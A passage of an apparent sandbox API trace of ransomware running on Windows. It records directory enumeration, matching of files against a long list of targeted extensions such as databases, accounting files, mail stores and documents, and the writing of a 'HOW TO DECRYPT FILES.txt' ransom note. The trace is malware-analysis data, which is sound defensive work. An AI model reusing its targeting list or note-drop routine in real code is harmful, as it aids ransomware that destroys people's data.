(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mpeg") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.djvu") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.tiff") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.backup") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.pdf") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.cert") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.docm") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.xlsm") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.dwg") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.nd") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.tlg") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.lgb") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mov") returned 0 [0112.137] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.xdw") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.ods") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.wav") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mp3") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.aiff") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.flac") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.m4a") returned 0 [0112.138] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.csv") returned 0 [0112.138] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb143feb7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb143feb7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb143feb7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x97800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Luna.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0112.138] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.139] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a335c2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="c462be068987b2b4fac3a700f265fc77", cAlternateFileName="C462BE~1")) returned 1 [0112.139] lstrcmpA (lpString1=".", lpString2="c462be068987b2b4fac3a700f265fc77") returned -1 [0112.139] lstrcmpA (lpString1="..", lpString2="c462be068987b2b4fac3a700f265fc77") returned -1 [0112.139] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*.*") returned="*.*" [0112.139] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\", lpString2="c462be068987b2b4fac3a700f265fc77" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77" [0112.139] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a335c2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.141] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a335c2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.141] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.141] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.141] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19c11a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb19c11a2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb19c11a2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4d800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Royale.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0112.141] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.141] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Royale.ni.dll") returned -1 [0112.141] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Royale.ni.dll") returned -1 [0112.141] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Royale.ni.dll") returned -1 [0112.141] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\*.*") returned="*.*" [0112.141] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\" [0112.141] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\") returned="" [0112.141] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\HOW TO DECRYPT FILES.txt" [0112.141] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\c462be068987b2b4fac3a700f265fc77\\how to decrypt files.txt")) returned 0xffffffff [0112.142] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\c462be068987b2b4fac3a700f265fc77\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.143] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.144] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.144] CloseHandle (hObject=0x90) returned 1 [0112.144] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\", lpString2="PresentationFramework.Royale.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll" [0112.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.ems") returned 0 [0112.145] lstrlenA (lpString="*.ems") returned 5 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.db") returned 0 [0112.145] lstrlenA (lpString="*.db") returned 4 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.dbf") returned 0 [0112.145] lstrlenA (lpString="*.dbf") returned 5 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.myox") returned 0 [0112.145] lstrlenA (lpString="*.myox") returned 6 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.myo") returned 0 [0112.145] lstrlenA (lpString="*.myo") returned 5 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbw") returned 0 [0112.145] lstrlenA (lpString="*.qbw") returned 5 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbb") returned 0 [0112.145] lstrlenA (lpString="*.qbb") returned 5 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbm") returned 0 [0112.145] lstrlenA (lpString="*.qbm") returned 5 [0112.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbo") returned 0 [0112.146] lstrlenA (lpString="*.qbo") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbx") returned 0 [0112.146] lstrlenA (lpString="*.qbx") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qba") returned 0 [0112.146] lstrlenA (lpString="*.qba") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qby") returned 0 [0112.146] lstrlenA (lpString="*.qby") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbj") returned 0 [0112.146] lstrlenA (lpString="*.qbj") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.ofx") returned 0 [0112.146] lstrlenA (lpString="*.ofx") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.qif") returned 0 [0112.146] lstrlenA (lpString="*.qif") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mye") returned 0 [0112.146] lstrlenA (lpString="*.mye") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mbox") returned 0 [0112.146] lstrlenA (lpString="*.mbox") returned 6 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.eml") returned 0 [0112.146] lstrlenA (lpString="*.eml") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.pst") returned 0 [0112.146] lstrlenA (lpString="*.pst") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.ost") returned 0 [0112.146] lstrlenA (lpString="*.ost") returned 5 [0112.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.idx") returned 0 [0112.147] lstrlenA (lpString="*.idx") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.dbx") returned 0 [0112.147] lstrlenA (lpString="*.dbx") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.sql") returned 0 [0112.147] lstrlenA (lpString="*.sql") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mdb") returned 0 [0112.147] lstrlenA (lpString="*.mdb") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.fdb") returned 0 [0112.147] lstrlenA (lpString="*.fdb") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.wab") returned 0 [0112.147] lstrlenA (lpString="*.wab") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.dat") returned 0 [0112.147] lstrlenA (lpString="*.dat") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.txt") returned 0 [0112.147] lstrlenA (lpString="*.txt") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.jpeg") returned 0 [0112.147] lstrlenA (lpString="*.jpeg") returned 6 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.jpg") returned 0 [0112.147] lstrlenA (lpString="*.jpg") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.png") returned 0 [0112.147] lstrlenA (lpString="*.png") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.php") returned 0 [0112.147] lstrlenA (lpString="*.php") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.cs") returned 0 [0112.147] lstrlenA (lpString="*.cs") returned 4 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.cpp") returned 0 [0112.147] lstrlenA (lpString="*.cpp") returned 5 [0112.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.rar") returned 0 [0112.147] lstrlenA (lpString="*.rar") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.zip") returned 0 [0112.148] lstrlenA (lpString="*.zip") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.html") returned 0 [0112.148] lstrlenA (lpString="*.html") returned 6 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.htm") returned 0 [0112.148] lstrlenA (lpString="*.htm") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.xlsx") returned 0 [0112.148] lstrlenA (lpString="*.xlsx") returned 6 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.xls") returned 0 [0112.148] lstrlenA (lpString="*.xls") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mp4") returned 0 [0112.148] lstrlenA (lpString="*.mp4") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.ppt") returned 0 [0112.148] lstrlenA (lpString="*.ppt") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.pptx") returned 0 [0112.148] lstrlenA (lpString="*.pptx") returned 6 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.doc") returned 0 [0112.148] lstrlenA (lpString="*.doc") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.dot") returned 0 [0112.148] lstrlenA (lpString="*.dot") returned 5 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.docx") returned 0 [0112.148] lstrlenA (lpString="*.docx") returned 6 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.7z") returned 0 [0112.148] lstrlenA (lpString="*.7z") returned 4 [0112.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.tar") returned 0 [0112.149] lstrlenA (lpString="*.tar") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.bz2") returned 0 [0112.149] lstrlenA (lpString="*.bz2") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.gz") returned 0 [0112.149] lstrlenA (lpString="*.gz") returned 4 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.mkv") returned 0 [0112.149] lstrlenA (lpString="*.mkv") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.eml") returned 0 [0112.149] lstrlenA (lpString="*.eml") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.msg") returned 0 [0112.149] lstrlenA (lpString="*.msg") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.edb") returned 0 [0112.149] lstrlenA (lpString="*.edb") returned 5 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.accdb") returned 0 [0112.149] lstrlenA (lpString="*.accdb") returned 7 [0112.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\c462be068987b2b4fac3a700f265fc77\\PresentationFramework.Royale.ni.dll", pszSpec="*.odb") returned 0 [0112.149] lstrlenA (lpString="*.odb") returned 5 [0112.149] PathMatchSpecA 